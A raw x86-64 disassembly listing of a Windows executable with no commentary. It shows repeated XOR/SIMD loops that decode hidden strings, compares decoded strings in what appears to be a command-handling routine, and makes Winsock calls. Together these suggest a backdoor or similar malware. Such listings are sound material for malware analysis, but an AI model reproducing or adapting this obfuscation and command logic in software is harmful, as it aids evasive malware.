xor byte [rsp + 0x70], 0x37
xor byte [rsp + 0x71], 0x38
xor al, 0x39
mov byte [rsp + 0x72], al
lea rcx, [rbp + 0x640]
test r10b, r10b
cmovne rcx, r9
lea rdx, [rsp + 0x6c]
call fcn.14005d85c
test rax, rax
setne byte [rsp + 0x7c]
movsd xmm0, qword [str.qUAB___SPYh_]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140091f40]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x140091f44]
mov byte [rbp - 0x64], al
mov r8d, esi
cmp edi, 2
jl 0x140021df9
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400926d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400926f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
mov eax, dword [0x140092720]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.qUAB___SPYh_]
pxor xmm2, xmm1
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x1400926e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400926f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
pxor xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140021e10
lea rcx, [rbp + 0x640]
cmp qword [rbp + 0x658], 0x10
setae r9b
mov r8, qword [rbp + 0x640]
cmovae rcx, r8
lea rdx, [rbp - 0x70]
sub rdx, rcx
movzx eax, byte [rcx]
cmp al, byte [rcx + rdx]
jne 0x140021e7a
inc rcx
test al, al
jne 0x140021e65
mov dword [rsp + 0x6c], esi
jmp 0x140021e83
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x6c], ecx
mov eax, dword [0x1400921ec]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x1400921f0]
mov byte [rsp + 0x40], 0x44
xor byte [rsp + 0x41], 0x34
xor byte [rsp + 0x42], 0x35
xor byte [rsp + 0x43], 0x36
xor al, 0x37
mov byte [rsp + 0x44], al
lea rax, [rbp + 0x640]
test r9b, r9b
cmovne rax, r8
lea rdx, [rsp + 0x40]
sub rdx, rax
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x140021ed9
inc rax
test cl, cl
jne 0x140021ec4
mov dword [rsp + 0x64], esi
jmp 0x140021ee2
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x64], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], rax
movups xmm0, xmmword [str.eUYYEYWNexOWI_3BvGVWG_]
movups xmmword [rbp - 0x70], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140022099
mov r8d, esi
cmp edi, 2
jl 0x140022061
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x6c]
mov r8d, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140021f60
jmp 0x140022099
lea r9, [rbp - 0x70]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140022070
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x118], send
lea rax, [rbp - 0x70]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400220c0
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x100]
call fcn.140003650
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x518]
lea rcx, [rbp + 0x550]
call fcn.140007190
nop
mov rbx, qword [rbp + 0x518]
cmp rbx, qword [rbp + 0x520]
jne 0x1400224e9
movups xmm0, xmmword [0x1400924a0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x1400924b0]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x1400924c0]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x1400924d0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x1400924e0]
movups xmmword [rbp + 0xe0], xmm0
movsd xmm1, qword [0x1400924f0]
movsd qword [rbp + 0xf0], xmm1
movzx eax, word [0x1400924f8]
mov word [rbp + 0xf8], ax
mov r8d, esi
cmp edi, 2
jl 0x1400222c7
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400221c0
cmp r8d, 0x5a
jge 0x140022310
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x1400222e0
lea rdx, [rbp + 0xa0]
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140017980
mov eax, dword [str.CU_ER8]
mov dword [rbp + 0x498], eax
movzx eax, word [0x140091de0]
mov word [rbp + 0x49c], ax
mov byte [rbp + 0x498], WSACleanup
xor byte [rbp + 0x499], 0x34
xor byte [rbp + 0x49a], 0x35
xor byte [rbp + 0x49b], 0x36
xor byte [rbp + 0x49c], 0x37
xor byte [rbp + 0x49d], 0x38
lea rcx, [rbp + 0x498]
call fcn.14002afc8
nop
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x1400223ce
mov rdx, qword [rbp + 0x528]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400223b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255b2
call fcn.14005b964
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], rsi
mov rdx, qword [rbp + 0x4b8]
cmp rdx, 0x10
jb 0x14002240f
inc rdx
mov rcx, qword [rbp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002240a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255b8
call fcn.14005b964
mov qword [rbp + 0x4b0], rsi
mov qword [rbp + 0x4b8], send
mov byte [rbp + 0x4a0], 0
lea rcx, [rbp + 0x5c0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x598]
cmp rdx, 0x10
jb 0x140022477
inc rdx
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022471
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255be
call fcn.14005b964
nop
mov rcx, qword [rbp + 0x558]
test rcx, rcx
je 0x140022489
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x550], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x1400218d6
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400218d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025426
call fcn.14005b964
mov eax, 1
jmp 0x140021c24
call fcn.14000bbf0
mov qword [0x1409ffc00], rax
cmp rax, 0xffffffffffffffff
je 0x140022544
mov dword [rbp + 0x498], esi
lea rcx, [rbp + 0x498]
mov qword [rsp + 0x28], rcx
mov byte [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.1400135f0
test rax, rax
jne 0x140022536
mov rcx, qword [0x1409ffc00]
call fcn.14000c0a0
jmp 0x140022544
cmp qword [0x1409ffc00], 0
jne 0x1400228b3
movups xmm0, xmmword [0x140091fd0]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140091fe0]
movups xmm0, xmmword [0x140091ff0]
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x140092000]
movups xmm0, xmmword [0x140092010]
movups xmmword [rbp], xmm1
movups xmmword [rbp + 0x10], xmm0
mov r8d, esi
cmp edi, 2
jl 0x1400226c3
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x2c]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x50
jl 0x1400225c2
jmp 0x1400226f9
lea r9, [rbp - 0x30]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x50
jl 0x1400226d0
lea rdx, [rbp - 0x30]
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140017980
mov eax, dword [str.CU_ER8]
mov dword [rsp + 0x38], eax
movzx eax, word [0x140091de0]
mov word [rsp + 0x3c], ax
mov byte [rsp + 0x38], WSACleanup
xor byte [rsp + 0x39], 0x34
xor byte [rsp + 0x3a], 0x35
xor byte [rsp + 0x3b], 0x36
xor byte [rsp + 0x3c], 0x37
xor byte [rsp + 0x3d], 0x38
lea rcx, [rsp + 0x38]
call fcn.14002afc8
nop
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x1400227a2
mov rdx, qword [rbp + 0x528]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002278b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255b2
call fcn.14005b964
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], rsi
mov rdx, qword [rbp + 0x4b8]
cmp rdx, 0x10
jb 0x1400227e3
inc rdx
mov rcx, qword [rbp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400227de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255b8
call fcn.14005b964
mov qword [rbp + 0x4b0], rsi
mov qword [rbp + 0x4b8], send
mov byte [rbp + 0x4a0], 0
lea rcx, [rbp + 0x5c0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x598]
cmp rdx, 0x10
jb 0x14002284b
inc rdx
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022845
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255be
call fcn.14005b964
nop
mov rcx, qword [rbp + 0x558]
test rcx, rcx
je 0x14002285d
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x550], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x1400218d6
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400218d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025426
jmp 0x1400218d1
movsd xmm0, qword [str.vLPUBLXXWYs_R_A]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x140092308]
mov dword [rbp - 0x58], eax
movzx eax, word [0x14009230c]
mov word [rbp - 0x54], ax
movzx eax, byte [0x14009230e]
mov byte [rbp - 0x52], al
mov r8d, esi
cmp edi, 2
jl 0x1400229f3
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400926d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400926f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
mov eax, dword [0x140092720]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.vLPUBLXXWYs_R_A]
pxor xmm2, xmm1
movd dword [rbp - 0x60], xmm2
movdqa xmm3, xmmword [0x1400926e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400926f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x5c]
pxor xmm2, xmm1
movd dword [rbp - 0x5c], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140022a00
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x138], send
lea rax, [rbp - 0x60]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140022a50
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x120]
call fcn.140003650
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x550]
call fcn.1400069a0
nop
cmp byte [rax + 0x20], 0
je 0x1400255c4
mov qword [rbp + 0x4d8], rsi
mov qword [rbp + 0x4e8], rsi
mov qword [rbp + 0x4f0], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x4d8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x4e8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
cmp byte [rbp + 0x1f8], 0
je 0x140022b29
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0x10
jb 0x140022b12
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022b0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255ca
call fcn.14005b964
movdqa xmm0, xmmword [0x1400926c0]
movdqu xmmword [rbp + 0x1e8], xmm0
mov byte [rbp + 0x1d8], 0
lea rcx, [rbp + 0x4d8]
mov r10, qword [rbp + 0x4d8]
mov rbx, qword [rbp + 0x4e8]
cmp qword [rbp + 0x4f0], 0x10
jb 0x140022b50
mov r15, r10
add rbx, r10
jmp 0x140022b5a
add rbx, rcx
lea r15, [rbp + 0x4d8]
mov qword [rbp + 0x4f8], rsi
mov rcx, rsi
mov qword [rbp + 0x508], rcx
mov r8d, 7
mov qword [rbp + 0x510], r8
mov word [rbp + 0x4f8], si
mov rdx, rbx
sub rdx, r15
cmp rdx, r8
jbe 0x140022bae
lea rcx, [rbp + 0x4f8]
call fcn.1400107b0
mov rcx, rsi
mov qword [rbp + 0x508], rcx
mov r10, qword [rbp + 0x4d8]
mov r8, qword [rbp + 0x510]
lea rax, [rbp + 0x4f8]
mov qword [rsp + 0x50], rax
cmp r15, rbx
je 0x140022c31
movzx edi, byte [rsp + 0x60]
movsx r9d, byte [r15]
cmp rcx, r8
jae 0x140022bf7
lea rax, [rcx + 1]
mov qword [rbp + 0x508], rax
lea rax, [rbp + 0x4f8]
cmp r8, 8
cmovae rax, qword [rbp + 0x4f8]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
jmp 0x140022c0c
movzx r8d, dil
mov edx, 1
lea rcx, [rbp + 0x4f8]
call fcn.140010920
inc r15
cmp r15, rbx
je 0x140022c24
mov r8, qword [rbp + 0x510]
mov rcx, qword [rbp + 0x508]
jmp 0x140022bc4
mov r10, qword [rbp + 0x4d8]
mov edi, dword [0x1400a3c50]
movups xmm0, xmmword [str.u_GBYQM_xPT_Q4l]
movups xmmword [rbp + 0x188], xmm0
movups xmm1, xmmword [str.srje______46T]
movups xmmword [rbp + 0x198], xmm1
movzx eax, word [0x140091e20]
mov word [rbp + 0x1a8], ax
mov r8d, esi
cmp edi, 2
jl 0x140022da9
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x18c]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140022ca2
cmp r8d, 0x22
jge 0x140022df0
movsxd rax, r8d
lea r9, [rbp + 0x188]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140022dc0
lea rax, [rbp + 0x4d8]
cmp qword [rbp + 0x4f0], 0x10
cmovae rax, r10
lea rdx, [rbp + 0x188]
sub rdx, rax
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x140022e23
inc rax
test cl, cl
jne 0x140022e10
mov ebx, esi
jmp 0x140022e28
sbb ebx, ebx
or ebx, 1
mov eax, dword [str.cU_RV8]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1400921f8]
mov word [rsp + 0x3c], ax
mov byte [rsp + 0x38], 0x50
xor byte [rsp + 0x39], 0x34
xor byte [rsp + 0x3a], 0x35
xor byte [rsp + 0x3b], 0x36
xor byte [rsp + 0x3c], 0x37
xor byte [rsp + 0x3d], 0x38
lea rcx, [rbp + 0x640]
cmp qword [rbp + 0x658], 0x10
cmovae rcx, qword [rbp + 0x640]
lea rdx, [rsp + 0x38]
call fcn.14005d85c
test rax, rax
jne 0x14002304c
movups xmm0, xmmword [0x140092298]
movups xmmword [rbp + 0x178], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140023029
mov r8d, esi
cmp edi, 2
jl 0x140022ff1
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x17c]
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
